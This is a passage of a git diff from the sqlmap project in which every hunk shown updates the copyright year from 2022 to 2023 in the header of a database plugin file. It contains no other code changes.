@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py
index 40b47e8a569..3f46a69b7df 100644
--- a/plugins/dbms/hsqldb/connector.py
+++ b/plugins/dbms/hsqldb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py
index 3692153ffd4..06e0397c252 100644
--- a/plugins/dbms/hsqldb/enumeration.py
+++ b/plugins/dbms/hsqldb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py
index abe6592ba60..b2760719015 100644
--- a/plugins/dbms/hsqldb/filesystem.py
+++ b/plugins/dbms/hsqldb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py
index 348e5ba27c5..86aa0aeaa98 100644
--- a/plugins/dbms/hsqldb/fingerprint.py
+++ b/plugins/dbms/hsqldb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py
index 9bd95ffd2ec..27a7f0ddf58 100644
--- a/plugins/dbms/hsqldb/syntax.py
+++ b/plugins/dbms/hsqldb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py
index 692ce013ce2..99a8a03ce59 100644
--- a/plugins/dbms/hsqldb/takeover.py
+++ b/plugins/dbms/hsqldb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py
index a9958c20abb..ca2f8f1efdb 100644
--- a/plugins/dbms/informix/__init__.py
+++ b/plugins/dbms/informix/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py
index 1373535149b..7b75e405143 100644
--- a/plugins/dbms/informix/connector.py
+++ b/plugins/dbms/informix/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py
index 8e2d938c237..f878f27e7f9 100644
--- a/plugins/dbms/informix/enumeration.py
+++ b/plugins/dbms/informix/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/informix/filesystem.py
+++ b/plugins/dbms/informix/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py
index 843dc05325a..c190fa080c9 100644
--- a/plugins/dbms/informix/fingerprint.py
+++ b/plugins/dbms/informix/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py
index 984fd58a558..a7e307bf482 100644
--- a/plugins/dbms/informix/syntax.py
+++ b/plugins/dbms/informix/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py
index 1d0ae95f4b4..bcbc4b5e11d 100644
--- a/plugins/dbms/informix/takeover.py
+++ b/plugins/dbms/informix/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py
index fb4519224ba..6ab3b3d8782 100644
--- a/plugins/dbms/maxdb/__init__.py
+++ b/plugins/dbms/maxdb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py
index 0107f8b9580..14d22ee24e4 100644
--- a/plugins/dbms/maxdb/connector.py
+++ b/plugins/dbms/maxdb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py
index f6dcf20428a..a83b9c2fafa 100644
--- a/plugins/dbms/maxdb/enumeration.py
+++ b/plugins/dbms/maxdb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py
index c9d66b10101..d06d159cd2d 100644
--- a/plugins/dbms/maxdb/filesystem.py
+++ b/plugins/dbms/maxdb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py
index 5dcea6a48dd..2f8788ac7f0 100644
--- a/plugins/dbms/maxdb/fingerprint.py
+++ b/plugins/dbms/maxdb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/maxdb/syntax.py
+++ b/plugins/dbms/maxdb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py
index 69d7283f327..0a51217c229 100644
--- a/plugins/dbms/maxdb/takeover.py
+++ b/plugins/dbms/maxdb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py
index 00a39a50702..3e41787ec80 100644
--- a/plugins/dbms/mckoi/__init__.py
+++ b/plugins/dbms/mckoi/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py
index 3645c9a5c93..128c77b2d6b 100644
--- a/plugins/dbms/mckoi/connector.py
+++ b/plugins/dbms/mckoi/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py
index a4ddb06ca6e..3b902808320 100644
--- a/plugins/dbms/mckoi/enumeration.py
+++ b/plugins/dbms/mckoi/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py
index 65807cfa3e3..49ea280bef9 100644
--- a/plugins/dbms/mckoi/filesystem.py
+++ b/plugins/dbms/mckoi/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py
index 6bdace64714..a3bfde48f33 100644
--- a/plugins/dbms/mckoi/fingerprint.py
+++ b/plugins/dbms/mckoi/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/mckoi/syntax.py
+++ b/plugins/dbms/mckoi/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py
index 012122c73f3..cbc55ae11d5 100644
--- a/plugins/dbms/mckoi/takeover.py
+++ b/plugins/dbms/mckoi/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py
index 37d38483372..fbf38d9c977 100644
--- a/plugins/dbms/mimersql/__init__.py
+++ b/plugins/dbms/mimersql/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py
index 93a392216a7..4307f5b697e 100644
--- a/plugins/dbms/mimersql/connector.py
+++ b/plugins/dbms/mimersql/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py
index b27f593aa97..57a9f22ebb8 100644
--- a/plugins/dbms/mimersql/enumeration.py
+++ b/plugins/dbms/mimersql/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/mimersql/filesystem.py
+++ b/plugins/dbms/mimersql/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py
index 6e367a1ae13..8052ee02273 100644
--- a/plugins/dbms/mimersql/fingerprint.py
+++ b/plugins/dbms/mimersql/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py
index 8cd965a4c9e..2d63b897ed2 100644
--- a/plugins/dbms/mimersql/syntax.py
+++ b/plugins/dbms/mimersql/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py
index 9a95b286d61..497745a0c7e 100644
--- a/plugins/dbms/mimersql/takeover.py
+++ b/plugins/dbms/mimersql/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py
index 94f64c0ed52..ef29a313fd3 100644
--- a/plugins/dbms/monetdb/__init__.py
+++ b/plugins/dbms/monetdb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py
index 68b14d3e4a2..7fb635e878c 100644
--- a/plugins/dbms/monetdb/connector.py
+++ b/plugins/dbms/monetdb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py
index 570785e237e..10b528c7deb 100644
--- a/plugins/dbms/monetdb/enumeration.py
+++ b/plugins/dbms/monetdb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/monetdb/filesystem.py
+++ b/plugins/dbms/monetdb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py
index 85d0a1591c6..bda2504ebaa 100644
--- a/plugins/dbms/monetdb/fingerprint.py
+++ b/plugins/dbms/monetdb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py
index 63593591ed5..1fc6130fca6 100644
--- a/plugins/dbms/monetdb/syntax.py
+++ b/plugins/dbms/monetdb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py
index f097e5e2edf..f38bd0c89d5 100644
--- a/plugins/dbms/monetdb/takeover.py
+++ b/plugins/dbms/monetdb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py
index e55c3e0c86e..28e2dc4af02 100644
--- a/plugins/dbms/mssqlserver/__init__.py
+++ b/plugins/dbms/mssqlserver/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py
index 96c41f3ed90..92b37287d98 100644
--- a/plugins/dbms/mssqlserver/connector.py
+++ b/plugins/dbms/mssqlserver/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py
index 6654fe67b25..e5407ceec9e 100644
--- a/plugins/dbms/mssqlserver/enumeration.py
+++ b/plugins/dbms/mssqlserver/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py
index ddf7c12f6bd..1a8e87f417f 100644
--- a/plugins/dbms/mssqlserver/filesystem.py
+++ b/plugins/dbms/mssqlserver/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py
index 709a4f030e3..41658cdae16 100644
--- a/plugins/dbms/mssqlserver/fingerprint.py
+++ b/plugins/dbms/mssqlserver/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py
index 9bd4473dddd..dad14e4a489 100644
--- a/plugins/dbms/mssqlserver/syntax.py
+++ b/plugins/dbms/mssqlserver/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py
index d35b0c23788..58cf875ada5 100644
--- a/plugins/dbms/mssqlserver/takeover.py
+++ b/plugins/dbms/mssqlserver/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py
index 12c65201767..04a2bdabb1e 100644
--- a/plugins/dbms/mysql/__init__.py
+++ b/plugins/dbms/mysql/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py
index fb7f7a75d43..41590b8d70a 100644
--- a/plugins/dbms/mysql/connector.py
+++ b/plugins/dbms/mysql/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py
index 88046b6927b..8e9d81f7d7d 100644
--- a/plugins/dbms/mysql/enumeration.py
+++ b/plugins/dbms/mysql/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py
index 8dfb5fb7cc5..e72cbcba3db 100644
--- a/plugins/dbms/mysql/filesystem.py
+++ b/plugins/dbms/mysql/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py
index e004ad5ad6e..d1df204e2d9 100644
--- a/plugins/dbms/mysql/fingerprint.py
+++ b/plugins/dbms/mysql/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py
index 25493221a61..57399752c62 100644
--- a/plugins/dbms/mysql/syntax.py
+++ b/plugins/dbms/mysql/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py
index c9343a34610..31033cca4f0 100644
--- a/plugins/dbms/mysql/takeover.py
+++ b/plugins/dbms/mysql/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py
index 548843eee3c..292727d1d57 100644
--- a/plugins/dbms/oracle/__init__.py
+++ b/plugins/dbms/oracle/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py
index 02f4db24fa8..18a70076c0a 100644
--- a/plugins/dbms/oracle/connector.py
+++ b/plugins/dbms/oracle/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py
index eac989b5978..038fe84a71f 100644
--- a/plugins/dbms/oracle/enumeration.py
+++ b/plugins/dbms/oracle/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py
index d4348b3975e..d0df7efac86 100644
--- a/plugins/dbms/oracle/filesystem.py
+++ b/plugins/dbms/oracle/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py
index 5b9061cb5e1..370d4540895 100644
--- a/plugins/dbms/oracle/fingerprint.py
+++ b/plugins/dbms/oracle/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py
index 3c3888d3961..789a59bce6a 100644
--- a/plugins/dbms/oracle/syntax.py
+++ b/plugins/dbms/oracle/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py
index 2b5ddd4c958..44aa5bfd94d 100644
--- a/plugins/dbms/oracle/takeover.py
